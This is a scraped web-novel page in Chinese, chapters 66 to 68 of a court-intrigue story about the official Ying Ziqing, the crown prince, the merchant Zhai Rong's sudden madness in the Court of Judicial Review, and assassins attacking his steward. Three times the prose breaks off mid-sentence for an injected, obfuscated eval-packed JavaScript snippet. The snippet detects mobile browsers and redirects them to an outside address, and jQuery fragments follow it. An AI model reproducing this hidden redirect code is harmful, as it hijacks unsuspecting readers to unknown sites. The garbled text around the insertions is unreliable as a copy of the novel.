每次窦知微轮值,送茶送饭的小宫女们比平时要多。时不时的,还有人三番四趟跑来送点心,叫一屋子的书吏主书跟着沾光。
宫女魂不守舍,提着食盒走出去。
外面早有等着的小宫女,一见她出来,耐不住追问:“怎么样?怎么样?今日窦大人跟你说话了吗?”
“我仿佛看到他跟你笑了,他说的什么?”
宫女按住砰砰直跳的心口,笑得面红耳赤:“说了说了!他说谢谢我,还看我了!”
“你运气真好!上回我把茶放在他手边,他看都没看。”
“他是不是喜欢吃糕点?我发现每次送糕点,他都会对那人说谢谢。”
“下回该我去送了!我定要他多对我说几句话!”
几个女孩子笑作一堆,互相打闹起来。
窦知微推开窗户,让外面的亮光,多透些进来。
夏日蝉鸣不止,一只蜻蜓,停在池塘中含苞待放的荷花尖上。
长时间誊写佛经,窦知微手腕微微发酸,他轻揉了下手臂,一抬眼,恍然发觉,原来已经天黑了。
同室的同僚早就离开,四下无人。
窦知微一边思索,一边从旁边抽出一页纸,在上面写下几个字。
摇曳的烛火,悠悠地映在那张俊美少年气的脸上,窦知微茶色的眼眸里,泛起的却是一道彻骨的冷光。
桌案上,静静放置着佛经,书页上字字妙笔生花,句句古典大气,散发宁静祥和的气息。而佛经的另一侧,窦知微铁画银钩,落下最后一个笔锋凌厉的“杀”字。
那张纸上,终于露出全貌:【翟容有异状,危险,杀】
窦知微等这页纸的墨迹晾干,轻轻折叠,装进一封无名信封,细细封好。
出了宫,坐上马车,窦知微叫来一名小厮,叫他拿着信,送到安景王府上。
刘弘煦和窦兰芷定了亲,安景王算半个自己人。
既然是半个自己人,窦知微不得不将注意力,转向长安城近来最热议的人物,翟容。
不论翟容过往如何,他始终是安景王麾下的一员。
但翟容近日所做的每一件事,已然有失控的迹象。
没有人会无缘无故捐出半副身家,除非他的背后,藏着一个重大而隐秘的目标。
能做到玉川郡最富的商人,翟容一定掌握安景王很多秘密,倘若他脱离安景王的控制,他会成为一个致命的威胁。
就像这一次,翟容用他的手段,将玉川郡富庶之状揭露无遗,竟引得庆帝的瞩目,龙颜大怒。
安景王曾经赠予窦知微点心,而他此番“诛杀翟容”这个计策,算是他的回报。至于安景王是否采纳他的意见,那是他的事了。
夜火憧憧,姜泽语在王府的长廊中行走,恰好碰见侍卫来报,说收到一封密信。
“王爷在忙,给我看看。”姜泽语伸手。
撕开信封,匆匆看一眼,立刻合上,姜泽语厉声问:“谁送来的?”
“说是窦舍人窦知微大人派人送来的。”侍卫抱拳回禀。
姜泽语暗自冷笑:“这人简直不把我们这些王府谋士,放在眼里!先前,窦知微暗示安景王派人巡查玉川郡,结果又如何?那不是什么都没找到?这次又递密信!真是小人得志,什么东西!用得着窦知微给他们出主意?”
他正欲将这封密信撕毁,只当没收到过,可是眼中闪过一丝光,他手中停了一停。
姜泽语思索片刻,最后还是把密信折叠,收入袖中,他嘱咐侍卫:“此事,不许告诉任何人,我自有主张。”
夏夜漫长,东宫殿内点了宫灯,伴着月亮与流萤,香巧语兰几人围坐。
香巧撑着下巴,唉声叹气:“哎,外面都说翟容,如何如何豪奢。可我这里听到一些不一样的新鲜故事,保准真实!”
语兰摇着一柄团扇扇着风,颇感兴趣的样子:“哦,那你说说吧。”
应子清瞧着语兰,亏了那个大夫开的温润滋补的方子有效,她的脸色一天天红润。没了烦心事,她眉梢眼角活泼许多。如今语兰不再敷粉抹膏了,露出原本清丽小巧的脸。
应子清也笑:“说吧,我也来听听。”
香巧见这么多人感兴趣,想了一想,娓娓道来:“玉澜邑是个非常穷的地方,那个翟大商人,就是从那里出来的,这件事你们是知道的。但你们不知道的是,他小时候过得特别凄惨。”
张泰耀剥开一只橘子,分给大家:“他那么有钱,能有多凄惨?”
香巧说:“翟容是现在富,以前他是穷怕了,穷得发了疯,才从那个地方走出来的。”
“而且,”香巧一张可爱的小脸,露出挺严肃的表情,“翟容在成为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024425|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
富商之前,是远近闻名的孝子。”
刘之衍好不容易忙完公务,正好宰相府回来,他在应子清身边坐下:“也就是说,玉澜邑道路崩塌,间接导致翟容亲娘冻毙,这件事于他而言,是相当重的打击。”
众人都被刘之衍的话,说得心口发寒,大夏天的晚上,仍觉得那夜风凉津津的。
香巧点点头:“殿下说得不错。翟父是个两袖清风的书生,教玉澜邑上的孩子们启蒙,可惜病逝得早。翟容由翟母抚养长大,他自小是极为聪明的神童。”
“翟容长大后发现,如果他想念书,家中根本负担不起他的学费,至于进京考试需要一大笔盘缠,于翟家而言,更是奢望。但翟母为了他的学业,不辞辛劳日夜纺纱,十指磨砺出鲜血,双眼几近失明。”
“不知道从哪天起,翟容突然变了性子。翟容找到翟母,直言往后他不再读书,转而投身商贾之道。”香巧说道这里,轻轻叹口气,“放着好好的读书人不做,跑去当商人,这叫翟母如何能接受?何况翟家还是书香世家,最看不起商人。翟母当即放话,只要翟容行商,他赚的每一文钱,她都不接受!”
应子清听了,也跟着叹息,商人的地位低,任谁来看,都觉得翟容走上了邪路:“然后呢?”
香巧道:“翟容也不回答,向翟母磕了头,身无分文走出玉澜邑。谁知道他不仅在读书方面聪明,做生意也极为地道,很快整个玉川郡,都听说一个叫翟容的人,他的名声也渐渐传入玉澜邑。”
香巧又道:“过了没多久,翟容成了安景王眼前的红人,他拿着王爷的赏赐,和自己赚的银钱,年年往翟母家送。他心想,有了王爷的赏,是得到官家的认可,翟母总不会再跟他生气。”
“结果,翟母把送礼的人轰出来。她说,翟容生意做得越好,她越是痛很。无奸不商,商人为逐利而耍弄心机,行事狡黠,以奸巧的办法谋财获利,必定没有好下场!她愧对翟父,愧对翟家,恨不得用一根绳子了断,以解了自己的罪孽。她宁愿穷死,身躯烂成一根白骨,也要守着一身的清白,绝不为钱财权贵而屈膝折腰!”
翟母的话,仿佛透过香巧之口,直至今日,仍是掷地有声。
应子清听得惆怅,他们之间,观念始终无法调和,最终造成这种悲剧。
方才香巧也说,翟父一生两袖清风,想来定是如清风明月般高洁的读书人。这样的人,最是铁骨铮铮,最是容不得昧良心之事。商人一道,确确实实是他们最不能接受的一途。
读书人若是一根筋起来,半分不得通融。但有时候,越是看似渺小不起眼的人,越是能捍卫心中的理想,他们身上爆发出的力量,令天地为之动容。
翟容未尝没有这种根骨,但他深知母亲的辛劳与付出,无法眼睁睁看着母亲为供他读书,整日纺纱至手指流血,甚至近乎失明。
置身于如此两难之境,可以想像,翟容是如何的心力憔悴与煎熬。
恐怕,那日所见的翟容,亦是多年郁心之后的结果。
“哎,这叫人如何是好?”语兰听得浮起泪光,“后来呢?”
“哪还有什么后来?就是大家听到的,玉澜邑暴雪,冻毙无数百姓,其中包括翟容的母亲。”香巧说到这里,忽然想起另一事,“对了,听说翟容仍然往家里送金银,还带着王爷的令牌。翟母拒绝不了王爷的命令,宁死也不碰他的臭钱,任凭那些金银财宝在家里堆放,于是……”
“于是什么?”张泰耀听得入神,连忙追问。
“于是人们找到翟家的时候,发现翟母冻死于一堆未曾使用过的金银之中……”香巧幽幽叹出一口凉气。
场中所有人渐渐止了扇子,只剩蛐蛐在草丛中鸣叫。
应子清眉梢直跳,她猛然想起,如果翟容是这等品性的人,那翟母去世后,金银于他没有任何用处。他不想再干了,大可以有许多种方式。
何必劳师动众,又是带着万人仆役进长安城,又是举办什么赏花宴,做下的种种惹人非议之事。
除非,他心存死志!
但在不想活下去之前,翟容还有一件极其要紧的事要做!
66. 第 66 章
应子清当即站起身,不顾众人的反应,跑回书房。
将一卷信笺利落铺开,用镇纸镇住,应子清握着毛笔,流畅地写下一行话。
她这封信,打算写给翟容,她想见他一面,想知道他是不是有件极其重要的事要做,做完之后的打算又是什么。她一定要弄清楚翟容的想法,才会放下她的猜测。
应子清搁下毛笔,忽然想起,不对?她写字的时候,墨从哪来的?
抬眼一看,刘之衍往砚池加着水,挽起长袖,握着一枚松烟墨,不疾不徐替她制着一碟墨汁。
人家说红袖添香,她这边倒享受刘之衍给她研墨,应子清看得心软。
虽然他做事仍然笨拙,好大一块墨条,给他浪费掉一半,看得她荷包隐隐作痛。好歹没像上次,往衣袖上溅出道道黑点。
却不想,刘之衍语气不妙,看她的眼神冰冰凉凉:“写完了?”
应子清心里咯噔一下,不知道怎么惹到他:“写完了。”
“写给翟容的?”刘之衍问。
“对。”应子清老老实实。
刘之衍不紧不慢,盯着她微垂的乌黑长睫,发觉有些事不能细想。
应子清每每见他受伤,一双漂亮清亮的眼,红红的,为他伤心落泪,他以为他对应子清而言是特殊的。
最近接连遇到一些事,他才发现,应子清分明是善心泛滥,并且毫无节制。先是他,薛沛南,后是语兰,如今轮到翟容。
就像遇到受伤的小动物,应子清不会抛开不管,只会上赶着耐心医治,可一旦治好,她便丢开了手。
而且,她对别人坦诚热情,但到了他这里,不仅对他存过异心,还投靠过安景王。他得到的优待,远远不如别人!
自那一吻后,他以为他们的关系会近一些。谁知道,她还是和从前一般。只是偶尔见到他,眼神多些闪躲。
有时候他忍不住怀疑,她到底知道不知道,那种事意味着什么?在男女大防上,她本就粗心大意,不怎么介怀。好像别人要亲她,她就给亲。这么一想,刘之衍的脸色变得极其难看。
那日她的反应生涩懵懂,他确信她是初次。但她心肠软得讨厌,难保以后,遇到别有用心的歹人,看准她的弱点,假装可怜,向她索要一些别的,她大约是肯给的!
无名火起,刘之衍揭起那页信笺,拿在手上,冷声道:“若我不准你给他写信呢?”
应子清急了,下意识去抢信笺。
脚下冷不防被书桌腿绊了,她整个人往地上扑去,吓得她双眼一闭。
刘之衍顺势将她接在怀里,仿佛刚才是她投怀送抱,他心情又好了:“而且你怎么知道,你写这封信,翟容愿意见你?”
他若是不肯答应,非要下命令,她是不能反抗的。应子清急得耳朵发红:“他今日不见我,我明日再写信……事关一条人命,你不要闹!”
抱着她薄瘦轻软的身体,闻着她身上若有若无撩人清丽的香,刘之衍眸光深了。
本来不想让她写这信,谁写不一样吗?
但察觉到她着急,刘之衍着这种亲密,凑在她耳边,语气严肃,商议道:“那你答应我,若是与翟容见面,我须得和你一起。”
应子清只想从他怀里挣脱出来,连连点头:“好!”
刘之衍没有放开,他想了想,神情也有些异样:“这个翟容古怪,他自请来东宫送礼,至今不见人影。倘若你这封信没了后文,我再主动邀约。”
好似一种预兆,这句话说得应子清眼皮一跳,惶惶不安。因而也就没注意,某人趁着她犯愣的空档,多抱了一刻钟。
第二天一早,送信的人回禀,翟容收了信,但没给回音。
他们坐在厅中喝粥,还在思索对策,紧接着,外面送来新消息:“不好了,翟大商人与安景王的一个谋士扯上官司,两方人马在大街上撕扯,被大理寺双双押进牢狱!”
刘之衍道:“细细说来。”
姜泽语看上一小户人家的女儿,收来做妾。
那户人家姓丁,丁某是老实本分的人,老来得女,取名丁香。丁香在疼爱中养大,丁某早早准备给女儿好嫁妆,打算给她的竹马作妻子。
丁香人如其名,婀娜聘婷,长得一如娇媚婉约的丁香花,她的竹马亦是生得温润如玉,言行知礼。两人自幼相伴,丁香脾性娇蛮,她的竹马脾性温吞,什么都依她随她。两人渐渐情愫暗生,情投意合。只盼着早日得到家长的应允,共结姻缘。
本是一桩顺顺当当的好姻缘,骤然出了变故。
婚期在即,丁香满心欢喜绣着自己的嫁衣,但丁香尤嫌不够,希望亲自去庙宇祈盼婚事顺遂。丁香与母亲去庙里祈福,茫茫人群中,被姜泽语一眼看见。
恰逢下了雨,姜泽语找了个借口,把丁香母女送回家。
第二日,姜泽语带着王爷的令牌,与一堆嫁衣礼物上门,强行把人带走。姜泽语说某日某月,两人已经在马车定下今生姻缘,谁敢来拆散,便是棒打鸳鸯,其心可诛。
那日马车上,丁母亦在,她哭着解释,没有这回事。
姜泽语与他兄弟姜泽峰一般,做惯这等欺男霸女之事,根本不给丁母辩解的机会。他带着人手,把礼物扔进丁某家中,拖着丁香上花轿。
丁香的竹马听闻消息,急着来拦,当场被打断手脚。
混乱中,安景王王府侍卫,将雪亮刀剑一拔,在场不论是丁家还是旁人,无人再敢造次。
红艳艳盖头一遮,丁香被推进花轿,在场的人只敢抹泪哭个不停。
正是这个时候,翟容带着家丁,与姜泽语撕缠,说他们也相中丁香姑娘,若要谈婚论嫁,该分个先来后到。
姜泽语与翟容,同是王爷的手下,侍卫一时左右为难。
翟容带来的家丁机灵,趁着撕扯的空隙,悄默声息,将丁香拽回翟府藏起。
姜泽语丢了人,公然在大街上,与翟容一行人混战。
大理寺巡逻的吏卒,见一群人在大街上闹得不像样,把姜泽语与翟容两个起事的,一齐抓进牢狱。
听完消息,应子清与刘之衍对视一眼,两人都在对方眼中看到惊诧。
他们都觉得,争夺民女这件事,太过离奇,超过他们先前任何一种预料。
应子清心中吐槽,她正等着一柄闪着寒光的大刀劈下,谁知睁眼一看,先前的剑拔弩张的紧张感,蓦然消失。场中的人突然穿红戴绿,上演着荒唐滑稽的闹剧。
希望那位叫丁香的姑娘无事,这么想着的应子清,收到了第二条爆炸的消息。
这日,刘之衍逗留在宰相府处理公务,他派影枭带回一个消息:“翟容疯了。”
应子清好像听到晴天霹雳,她被震惊到无以复加,疑惑从她喉咙里溜出来:“什么?你说谁?”
“翟容,他疯了。”影枭再度重复,神情亦是严肃。
应子清不可置信,影枭只得把他听来的消息,慢慢道来。
在大理寺的狱中,翟容毫无征兆,突然口吐白沫,狱卒发现及时,奔走呼号,赶来的大夫抢救及时。
等人转醒,翟容却变了个人。他时而惊恐大叫,说他遇到一黑衣人,来戒备森严的狱中探望他,黑衣人鬼鬼祟祟,对他口吐诅咒。时而目光涣散,说他看到了父亲母亲,背对着他,不肯用回应他。
神思恍惚,疯疯癫癫,与三岁稚童无异。
哪怕翟容说的是疯言疯语,狱卒仍然不敢懈怠,将大理寺上上下下刨个底朝天。一番折腾下来,他们发现,从始至终,根本没出现过黑衣人。当日的牢狱中,也没有别的异常。翟容说的黑衣人,仿佛是他发了疯的幻觉。
一桩谜案,留下的,是精神失常的翟容。
想当初,翟容一路浩浩荡荡,赫赫扬扬踏入长安。所到之处,引人注目,所行之事,惊天动地,引得无数人热议纷纷。谁料,急转直下,竟以这等唏嘘惨淡的“疯了”二字落幕?
应子清思来想去,只有三个大字,不可能。
影枭看出她的想法,只道:“大理寺司职公正,只要他们给出结果,就是铁板钉钉,由不得你不信。”
角落里的更漏簌簌淌沙,按照上面的刻线,是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15031261|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晚上亥时。
太晚了,这个时间点,长安城大部分街坊都熄了灯火,准备睡觉了。
“那翟容此刻在哪里?”应子清问。
“在大理寺。”影枭回答。
“我要去见他一面。”应子清站起身,径直去拿罩在外衣上的暗色斗篷。
若是走入黑夜,她能借此融入夜色之中。
影枭向前一迈,挡住应子清的动作。
应子清怕他阻拦,因而道:“我不必向你报备询问。”
“应司直自是不必向我请示,但殿下有话要说。”影枭道。
应子清清楚,此人只听刘之衍的话,太子说一,影枭绝不说二,心中不由叹气:“难道他猜到了我想出去,所以不准?”
“不,”影枭语气板正,“殿下说,如果你非要出去,必须带上苍凛。那人身份特殊,又有神勇无双的能力,暗卫不能光明正大做的事,可以交给苍凛。”
“苍凛?”应子清回想了下,“就是那日脖子戴着铁锁链的人?”
影枭没有回答,他吹一声口哨,但没有发出声音。
很快,长着南亚异族模样的少年,穿着寻常家丁衣服,来到应子清面前。
他睁圆了一双黑亮亮的眼,认真把应子清看了一遍,用着他学来的礼仪,跪地一伏:“见过主人!”
苍凛的大晋话说得不到位,带着怪腔怪调。
应子清一时无语:“别叫我主人,你和他们一样,叫我应司直就好。”
“应司直主人!”苍凛再道。
应子清扶额:“把‘主人’二字去掉……”
苍凛这才明白过来,大大咧咧:“那好,应司直,你这般爽快,我也爽快。我是我们族长的儿子,你叫我苍凛就行!”
“苍凛?”应子清念着他的名字,再度回忆那日马场上的事,“你是真邑国的人吗?”
苍凛那双纯黑的眸子,倏尔闪烁起隐忍炙热的光火:“不,那是我们的仇人!我们被称作巴孟部,我们的家乡被真邑人毁去。总有一天,我会亲手夺回我的家园!大晋太子亲口承诺,将来许我千军万马。我愿意追随大晋太子,给他做牛做马,直到他兑现承诺的那一天!”
应子清了然,然而认真思索一番后,她不禁对刘之衍这一妙手,感到惊叹。
若是这个什么巴孟部族,夺回失去已久的家园,必定与真邑陷入势同水火的冲突之中。可是从大晋的角度来看,大晋南境的边患之忧,反倒能借此消解,说不定还能坐收渔翁之利。
“我眼下有事,要出去一趟。”应子清把斗篷系好,“苍凛,你跟我来吧!”
夜色浓重,应子清与苍凛两人身披斗篷,各骑了马,往大理寺方向疾驰。
大理寺所在的坊间,官署也多,还未走近,远远感觉到一阵严肃恭正的气息。越接近这个地方,街道上零散行人越少。
苍凛有野兽般敏锐的直觉,他耳朵动了动,忽然道:“有动静。”
应子清心中一紧,怕又是暗杀:“冲我们来的?”
“不,”只见苍凛黑黢黢的眼睛,野豹一般灵敏扫视周围,“有血腥味儿!要死人了!”
应子清给他说得心惊肉跳。
下一刻,借着幽暗的星光,应子清看到街道的拐角,滚出一个男子。
陌生男子踉踉跄跄,捂着脖子上的伤口,鲜血淋漓一地。蒙面黑衣歹人,高高举起一把砍刀,不紧不慢,追在他身后。
“救他!”应子清惊呼。
“要不要杀了那歹人。”不同应子清的慌张,苍凛神色平静,手缓慢摸向腰间的武器,他问,“若不击毙歹徒,我不一定能救下。”
陌生男子拼命向前跑,然而与黑衣歹人的距离,越拉越近。黑衣歹人挥舞手中的刀,眼看砍进男子的身体,顷刻之间致人于死地。
耳边的血流声、刀锋的呼啸声、男子痛苦的喘息声,一同交织成一团无法分辨的声音。应子清的心跳得非常非常快,几乎快要冲破胸膛,她的思绪有片刻空白,几乎听不见自己下指令的声音。
她说:“杀。”
67. 第 67 章
苍凛的暗器应声而出,打在黑衣歹人的大刀上,将他的杀意阻了一阻。
紧跟着,在黑衣歹人身后,有寒光徒然一亮。
“糟糕!歹人有同伙!”苍凛从跳下马,仓促道,“应司直,快去找支援,我去挡一挡!”
不等他提醒,应子清早已调转马头:“前方是大理寺,我马上叫人过来!”
绯云骢反应灵敏,速度极佳,转瞬间,在浓浓夜色之中疾驰而去。
黑衣歹人见追不上,转而拿着长刀,对准苍凛。
苍凛见有危险,丝毫不惧,他从腰际拔出短短的匕首,护在那受伤的男子跟前:“若是把我双手捆住,我拿你们没办法,但你们没有这样的好运。”
大理寺门口,立着两只神情威武的獬豸,外表似狮,实则状似麒麟。传闻獬豸能辨明是非曲直,识别善恶忠奸,若是奸邪立于獬豸眼前,便一口吞食,是勇猛公正的象征。
戒备森严的正门,挂着两盏硕大的灯笼,将浓重的夜色驱散。
应子清远远的看过去,那里仿佛有指引之光,她当即策马狂奔。
崔玉陵正巧与一众同僚走出,身披暗色斗篷的少女,揭下兜帽,闯到他面前,差点撞到他鼻子:“崔大人,劳烦,快救人!”
身旁差役连忙喝道:“什么人!姑娘擅入大理寺,不要命了!”
崔玉陵被对方的疾色吓了一跳,他愣了片刻,拦住身旁大呼小叫的差役:“你是不是东宫那位女官……?”
应子清来不及寒暄,伸出一臂,冲着她来的方向指过去:“崔大人,前面有歹徒当街杀人!”
崔玉陵办事办老的人,反应极快,他眉目一怒:“此乃天子脚下,这里是官署之地,什么大胆狂徒,敢在这里放肆!来人,速速缉拿归案!”
不到一刻钟,训练有素的差役与官兵纠集齐备,手持各色武器,向应子清指的方向跑去。
崔玉陵调度完毕,转过身,看着应子清欲言又止。对方是东宫女官,他不好呵斥一句小姑娘怎么跑到大理寺。
有人前去支援苍凛,应子清放了心,朝崔玉陵亮出东宫令牌:“太子殿下着我前来,询问翟容一事。”
崔玉陵见令牌,再度愣住,继而按照规矩,对着令牌拜了一拜。他想不明白,为何东宫会派一女官过来询问。
不过,这不是他该关心的,崔玉陵叹气,引着应子清返回大理寺:“那你跟我来吧。”
路上,崔玉陵介绍说:“当初翟容与姜泽语两人在大街闹事,本不是什么大事,关进狱中是让他们冷静下。不过,翟容出现疯状后,我们就把他从狱中送到房间里了。”
穿过一条长廊,绕过平日办案的正堂,两人来到一间普通的房门前。
门口有两个差役守着,崔玉陵把他们挥开,亲自打开门:“你进去看看吧。”
入目是一间较为开阔的地方,有床榻,也有办公用的长桌,以及堆叠起来的文书长卷,看着像官员临时休息之所。
翟容侧身,躺在那张床塌上,他闭着眼,睡得无声无息。翟容苍白的脸上无一丝血色,一缕碎发落在他脸上,脆弱得一触即碎。
应子清走上前,轻声叫他:“翟容?能听见我说话吗?”
崔玉陵在后面解释:“你叫不醒他的,大夫说要让这种发疯的病人安静,给他喝了各种各样的药,还扎了针。现在就是火烧到他身上,他也醒不来。”
应子清站在翟容面前,颇感棘手。
若是人醒着,她可以借机诊断一下,翟容到底是不是真的彻底精神崩溃,但他偏偏睡着了。
应子清想到很关键的问题:“崔大人,之后你们打算把翟容送到哪?”
大理寺是办公场所,只能暂时收留。
崔玉陵也想到这一点,面色亦是严肃:“我们留不了他多久。大夫的意思,再观察一段时间,若没有治好他的办法,只能将他送回他的家。”
翟府此刻失了首脑,无人指挥。翟容父母双亡,未曾娶亲。他惹了那么多非议,正是烈火烹油的时候,倘若大理寺把翟容送回去,就像把一只待宰的肥羊,扔到荒郊野岭,等着被群狼吞噬。
半晌,崔玉陵叹息道:“时也命也,只能说翟容运道如此。”
仿佛升到最高的风筝,突然被人剪断线,风筝不知所措惊慌无定,徒然下坠。
翟容为什么来长安,为什么办百花宴,他是不是准备做什么事……
一切都没了答案。
之前应子清总怀疑翟容要出事,到此时也不清楚,如今情况变成这样,到底算好事,还是坏事。
外面有敲门声,打断两人的商议。
差役来报:“崔大人,当街杀人的歹徒已经抓获!还请崔大人前往处置!”
崔玉陵面上严肃,将袍袖一甩,走了出去,应子清跟在后面。
大堂之中,灯火通明,众衙役将几位黑衣蒙面歹徒,陈列在地上。
这群歹徒看见有救兵,能逃的,转眼跑得没影,不能逃的,当场咬碎舌根下见血封喉的毒药,顷刻间毙命。
堂下有衙役握着腰间刀柄,昂首道:“禀报大人,这种行为一看,就知是一群死士!”
崔玉陵蹙眉,问:“能查出来是谁家的吗?”
那为首的衙役摇头:“死士身上的痕迹抹得一干二净,没有线索,查不出来。”
崔玉陵觉得火大,在桌案上重重一拍:“该死!若让我知道,谁敢在长安城作乱,非参他一本!”
应子清一听,当即觉得不好,种种情况,和之前追杀她的死士十分相似。
难道又是安景王?!
他怎的十分猖狂,想除掉谁,便派出穷凶极恶的死士追杀,丝毫不把王法放在眼里。
但应子清眨了下眼,大理寺查不出死士来源,她亦没有证据。纵然她知道幕后真正的凶手,也没办法告诉崔玉陵。倘若她说了,便是对王爷栽赃诬陷,自己先受一层罪。
应子清借着跃动的火烛,看了一圈大堂之中站的人群。
不是说成功支援吗?苍凛怎的不见了?
她心中先吓一跳,匆匆扫视一眼地上的死士,不见苍凛和那个受伤男人的身影。
奇怪,他们没死,但也不在这里。
崔玉陵在此处与差役一起伤脑筋,如何处理和汇报这件案子。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065786|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
应子清悄悄退了出去,她刚走出大理寺,听见角落传出一记哨声。
应子清看过去,街坊的墙角探出苍凛的脸,上面沾满血迹。
“怎么回事?”应子清连忙过去,“你们怎么不跟大理寺官兵一起回来?”
苍凛只说一句:“被追杀的人,是翟容府中的管事。”
苍凛是异族人,也是刚到东宫,他大约不知道翟容是谁,但他胆大心细,知道此人要紧,便私自处理了。此人若是落在官家手中,有些话,怕是打听不到了。
应子清不得不感慨苍凛的机警,心中暗自感激刘之衍把他派给自己:“你把人藏起来了?带我去看看!”
苍凛把翟府管事,挪到街坊的一个暗巷里,那里正好是摊主收摊的地方。旁边堆放不少杂物,可以避人耳目。
翟府管事满身是血,苍凛从他身上撕了布条,止住了伤口。
借着微弱的月光,应子清从身上拿出一个药瓶,倒出几粒药丸:“翟府管事,这是我救急用的药,你先服用一些,补补元气。”
那管事身中数刀,奄奄一息躺在地上,面如死灰,犹如将死之人。苍凛动作利落,把他扶起,喂他吃了几颗丸药。
气味清新的丸药入口即化,过一会,管事自觉五脏六腑得到滋补似的,失血造成的空虚感消失,取而代之的是再次存活的充盈感。
借着回过来的那口气,管事张了张干裂的嘴唇,嗓音哀哑:“记得那日赏花宴,小的在东宫身边见过你。姑娘,你是不是东宫的人?”
应子清在他身边蹲下,点头承认:“是。”
“我叫齐奕山,”齐奕山激动得眼神一亮,“我们东家说过,若是遇到事情,可以寻求东宫的庇护!”
应子清满腔的疑问:“到底怎么回事?为什么有死士追杀你?”
“有歹人作恶!”有许多话来不及说,齐奕山惦记着最紧要的事,惊恐地指向大理寺的方向,“求求你们……救救我们东家!他在大理寺,恐怕有危险!”
应子清估计,他还不知道翟容已经出了事:“齐管事,今日翟容在大理寺狱中,突然癫狂,失了神智。这件事已经得到崔大人的重视。只要翟容在大理寺一日,就会安全一日。”
齐奕山听了,惊愕不已:“癫狂?我们东家疯了吗?”
应子心中叹气,承认道:“是,就是疯了,据说有数位大夫诊断。刚才我去看过,他正在安睡。”
应子清试探道:“眼下,翟容不能处理事务。你们从玉川郡出来,又与安景王交好,为什么遇事不向安景王求助?反而找东宫帮忙?为什么你们会遭遇杀身之祸?你是不是知道一些事?”
齐奕山垂目深思,再抬头,眼中有血泪盈动:“姑娘,你也看到了,此事极为凶险!绝非杀身之祸那么简单!这里面藏着的东西,寻常人乃至普通官员,别说沾染,连听也不能听的!东家于我有救命之恩,前方纵是龙潭虎穴,我齐奕山哪怕舍去性命,亦必须助他实现!”
齐奕山按住脖子上因为情绪变化而汩汩渗血的伤口,激动站起身:“姑娘,我有一重大事件,要禀报东宫!请姑娘速速带我引荐!”
68. 第 68 章
深更半夜,东宫的书房,几盏宫灯还亮着。
刘之衍从宰相府回来后,进了书房没再出来,仿佛与往常一般忙碌。应子清把外面的太监宫女全遣退了,与平常无二,端着茶碗进了书房。
书房内,一处屏风之后,弥漫浓重的血腥味。应子清揭开香炉,多点了几支熏香,驱散这股血的味道。
齐奕山躺在塌上,影枭拿着绷带,给齐奕山换伤口。
齐奕山看着他,神色感慨,说了一句:“我们来长安城的路上,那个行脚商人原来是你。”
影枭没作声,给他的伤口,倒上止血的药粉。
刘之衍负手立在塌边,应子清站在他身边,介绍道:“东宫在这里,此地安全,你有什么事,大可以说出来。”
齐奕山看了眼刘之衍,恭恭敬敬,答应了声“是”。
待影枭照料好齐奕山的伤势,他颤巍巍站起来,冲刘之衍行了大礼:“太子殿下!我们东家此次来长安城,有一个极大的心愿要完成!”
齐奕山慷慨激昂:“我们东家,并非外界传言的那种没有孝心的人,恰恰相反,他因为翟父翟母抱有深深的愧疚之心。亲眼目睹自己的母亲,为了自己,纺纱纺得满手是血,熬得双眼深陷发黑!这对我们东家来说,比千刀万剐还痛苦!寒暑往来,穷日子每一天,过得都是煎熬!”
“若是没有能力也就罢了,偏偏我们东家异常聪颖!”齐奕山喟然长叹,“一开始,我们东家并没有那么大的野心,但在一众商人里,我们东家聪明得过分了。太聪明,有时候不是一件好事,他在玉川郡做生意做得声名鹊起,引起王爷的注视。某日,王爷亲自邀请我们东家去王府中一坐,我们东家哪里见识过这个?自然是喜不自胜去赴约。可是,自那以后,一切都变了。”
刘之衍一直冷眼旁观,不为齐奕山的哀叹所动,这个时候他出声了:“自那以后,安景王将翟容收为幕僚?他是不是做到最重要的位置,知道很多秘密?”
刘之衍一字一句,仿如最可怕尖锐的针尖,刺中最关键紧要的地方。应子清的胳膊乍然起了一层寒意,不知道到底是他的话的缘故,还是夜露寒冷。
齐奕山听了他冰冷的声音,亦是不寒而栗,也从悲痛的过往中,清醒过来。他点点头,语气比方才平稳了几分:“是,太子殿下猜的不错!翟母与我们东家,不是读书人对商人憎恶那么简单!”
“我们东家跟着安景王做事,接触到的东西越来越黑暗,越陷越深。翟母希望东家早日抽身,明哲保身,她说沾染这些污秽,必定会遭到报应!但东家知道王爷那么多秘事,已经抽身无望!”
